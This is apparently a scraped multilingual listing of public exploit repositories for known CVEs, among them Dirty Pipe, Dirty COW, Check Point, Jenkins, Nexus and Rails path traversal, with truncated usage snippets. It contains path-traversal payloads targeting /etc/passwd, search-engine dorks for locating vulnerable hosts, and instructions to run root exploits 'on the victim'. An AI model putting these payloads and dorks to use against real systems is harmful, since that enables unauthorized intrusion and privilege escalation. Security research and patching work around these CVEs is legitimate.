CVE-2024-24919

CVE-2024-24919 用法 用法: ./CVE-2024-24919.sh -i -p -f 使用 -i 指定 IP root@kitploit: ./CVE-2024-24919.sh -i 190.XXX.XXX.XXX 使用 -f 检查多个 IP root@kitploit: ./CVE-2024-24919.sh -f uniq.txt 文件示例 root@kitploit: 192.168.0.1 192.168.0.2 192.168.0.3 ... 192.168.0.20...

CVE-2024-23897

使い方 root@kitploit: python poc.py usage: python poc.py http://127.0.0.1:8888/ /etc/passwd...

CVE-2024-48990

CVE-2024-48990 Exploit para CVE-2024-48990 Escalada de privilegios local en needrestart 3.8 Antecedentes Lee https://blog.qualys.com/vulnerabilities-threat-research/2024/11/19/qualys-tru-uncovers-five-local-privilege-escalation-vulnerabilities-in-needrestart. Qualys hace un gran trabajo...

CVE-2024-4956

CVE-2024-4956 : Nexus Repository Manager 3 搜索语法： Shodan:http.html:"Nexus Repository" Hunter:product.name="Nexus Repository" FOFA:app="Nexus-Repository-Manager" Poc : root@kitploit: GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1 Host: localhost:8081...

CVE-2022-0847

CVE-2022-0847 脏管道漏洞 仅供教育用途 root@kitploit: ┌──vagrant㉿kali- └─$ ls -al /etc/passwd -rw-r--r-- 1 root root 3124 Mar 8 08:47 /etc/passwd ┌──vagrant㉿kali- └─$ head -n 1 /etc/passwd root:x:0:0:root:/root:/usr/bin/zsh ┌──vagrant㉿kali- └─$ echo foo /etc/passwd zsh: permission denied: /etc/passwd...

CVE-2019-5418-Scanner

CVE-2019-5418-Scanner 一个多线程的 Golang 扫描器，用于识别受 CVE-2019-5418 影响的 Ruby 端点 使用说明 root@kitploit: Usage of ./CVE-2019-5418-Scanner: -auth string Perform a scan using a auth token i.e Basic YmFzZTY0VG9rZW5WYWx1ZQ== default "nope" -http Use HTTP over HTTPS -insecure Ignore SSL/TLS Errors -log Log results...

Dirty-Pipe-Oneshot

Dirty-Pipe-Oneshot Versión compilada de CVE-2022-0847, también conocido como Dirty Pipe. Solo un disparo para rootearlos a todos :D solo compila el archivo cve-2022-0847.c root@kitploit: gcc cve-2022-0847.c -o getroot luego ejecútalo en la víctima y obtén root :D root@kitploit: ./getroot...

dirtycow

✅ 必要条件 / 影響を受けるカーネルバージョン Dirty COWは、CVE-2016-5195 として知られるLinuxカーネルのローカル権限昇格（LPE）脆弱性です。 :contentReferenceoaicite:0index=0 🎯 影響を受けるカーネル 一般的に、Dirty COWはLinuxカーネル2.xから4.8.3より前の4.x に影響を与えます。 :contentReferenceoaicite:1index=1 一部のディストリビューションはパッチをバックポートしているため、カーネルバージョンが「古く」見えても、実際には修正済みである可能性があります。 ✅...

CVE-2022-0847

CVE-2022-0847 直接移除root账户密码的CVE-2022-0847漏洞利用程序 使用方法： 1. gcc cve-2022-0847.c -o exploit 2. ./exploit 需求： gcc 工作原理简介： Max Kellermann的传统经典漏洞利用POC用于添加一个具有root权限的用户，但在此POC利用程序中，它通过修改/etc/passwd文件 root❌0:0:root:/root:/bin/bash 来移除root账户的密码。 代码相关细节： 我为此写了一篇博客，请阅读。...

CVE-2024-0582

はじめに このエクスプロイトは、/etc/passwd への不正な書き込みアクセスを獲得するために Dirty Cred 攻撃手法を実装しています。多数のページを作成したり、ファイルディスクリプタを積極的にスプレーする多くの類似のエクスプロイトとは異なり、このアプローチはより標的を絞った方法で必要なカーネル構造を破損させます。 エクスプロイトの流れ（概要） CPUアフィニティの設定とFD制限の増加 安定したパフォーマンスとスプレーに十分なファイルディスクリプタを確保します。 iouringの初期化 iouringインスタンスを作成し、カーネルメモリ使用のためにバッファリングを登録します。...

CVE-2022-0847

DIRTY PIPE CVE-2022-0847 这是一个内核漏洞，它允许覆盖任意只读文件中的数据，因此可能导致权限提升，因为非特权进程可以写入特权进程。所有功劳归于🥇Max Kellermann，感谢他发现该漏洞并提供出色的解释/描述。 👻 重要通知 此概念验证代码基于 Max Kellermann 的 PoC，并经过修改，以探索如何利用该漏洞获取更高权限的不同方式。该利用代码包含一项检查，用于检查内核版本是否易受攻击，并利用该漏洞覆盖 /etc/passwd 文件以获取 root 权限。exploit.c 用法 您可以下载已编译的二进制文件，或使用 make...

nmap-CVE-2023-23333-exploit

nmap-CVE-2023-23333-exploit 用于利用Solarwinds CVE-2023-23333漏洞从远程系统转储/etc/passwd的Nmap NSE脚本 将脚本保存为名为solar-CVE-2023-23333.nse的文件。要运行该脚本，可以使用Nmap的--script-args选项来提供输出文件路径： nmap -p --script solar-CVE-2023-23333.nse --script-args outputfile=/path/to/output.txt CISA KEV -...

CVE-2019-5418

CVE-2019-5418 测试用例 运行： root@kitploit: $ rails s PoC： root@kitploit: Accept: ../../../../../../../../etc/passwd 请求 1 - root@kitploit: GET /shitblock HTTP/1.1 Host: REDACTED:3000 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:65.0 Gecko/20100101 Firefox/65.0 Accept:...

cve_2026_31431_audit

CVE-2026-31431 审计 本项目提供了一个专业的 Python 脚本，用于检查系统是否受 CVE-2026-31431 漏洞影响，并演示如何利用该漏洞进行安全研究。 🎬 完整工作流程 下图展示了从环境审计（SCAN）、补丁注入（PUNCH）、到获取 root 权限提升（SHELL），最后进行痕迹清理（CLEAN）的完整流程： 🛠 核心功能 检测 ：通过非破坏性的影子序列检查当前内核是否受 CVE-2026-31431 漏洞影响。 利用 ：利用页面缓存劫持漏洞向 /etc/passwd 注入数据，以模拟权限提升。 验证 ：调用交互式环境验证提升后的权限并获取 root 访问权限。...

CVE-2016-5195

CVE-2016-5195 CVE-2016-5195（Dirty COW）の個人用POCおよびエクスプロイト 使用方法 POC: 任意のファイルへの書き込み このCVEのシンプルなPOCです。以下のようにファイルpoc.cをコンパイルします。 root@kitploit: $ gcc poc.c -o poc -static -lpthread 以下のように実行します。 root@kitploit: ./poc コピー先ファイル コピー元ファイル...

cve_2022_0847_shellcode

cve20220847shellcode 描述 此仓库包含一个基于 pwntools 的 Python 脚本（genshellcode.py），用于生成实现 CVE-2022-0847 的 shellcode。 该 shellcode 基于此 PoC：antx。 我使用 strace 分析了该 PoC 的代码及其执行过程，以捕获利用所需的所有系统调用；起初我编写了一个使用 syscall.h 的 C 程序，它虽然不适合用作 shellcode，但具有良好的参考价值，因此我将其一并放在这里（tinycve-2022-0847.c）。 生成 shellcode 的函数接受 3...

CVE-2022-0847_DirtyPipeExploit

这是什么 这是 Max Kellermann 针对 Dirty Pipe 的概念验证，但经过修改，用于覆盖 /etc/passwd 中 root 的密码字段，并在获取 root shell 后恢复。 附注： 我不声称对发现此漏洞或编写概念验证拥有任何功劳。此利用程序只是对 Kellermann 概念验证的小小修改，以便快速/轻松地利用。请在有时间时阅读关于这个极其有趣漏洞的原始文章 @ https://dirtypipe.cm4all.com/。它确实值得你花时间去理解。 如何使用 1. 使用 ./compile.sh 编译（假定已安装 gcc） 2. 运行 ./exploit，它会获取...

DirtyPipe

Dirty Pipe Exploit: CVE-2022-0847 The Dirty Pipe vulnerability, also known as CVE-2022-0847, is a significant flaw within the Linux kernel. This repository provides an adapted version of the widely used exploit code to make it more user-friendly and modular. A very good explanation of this...

CVE-2022-0847-DirtyPipe-

CVE-2022-0847-DirtyPipe-Exploits ペネトレーションテスターやレッドチーム向けのエクスプロイトとドキュメントのコレクションで、Linux の Dirty Pipe 脆弱性の悪用を支援するために使用できます。 脆弱性について Dirty Pipe CVE-2022-0847 は Linux カーネルにおけるローカル権限昇格脆弱性であり、権限のないユーザーが以下のことを行える可能性があります: /etc/passwd などの任意の読み取り専用ファイルの変更/上書き。 昇格したシェルの取得。 影響を受けるバージョン 5.8 より新しい Linux...

dirtyPipe-automaticRoot

Dirty Pipe 自动根权限利用 CVE-2022-0847 依赖项： Python 3.10 或更高版本 如何使用： 自动根权限： root@kitploit: $ python3.10 dirtyPipe.py -a + hjacking super user in /etc/passwd + dropipng shell 写入无写入权限、不可变或只读挂载的文件： root@kitploit: $ python3.10 dirtyPipe.py -w FILE OFFSET DATA 来自 @terabitSec 🦜 的提供。...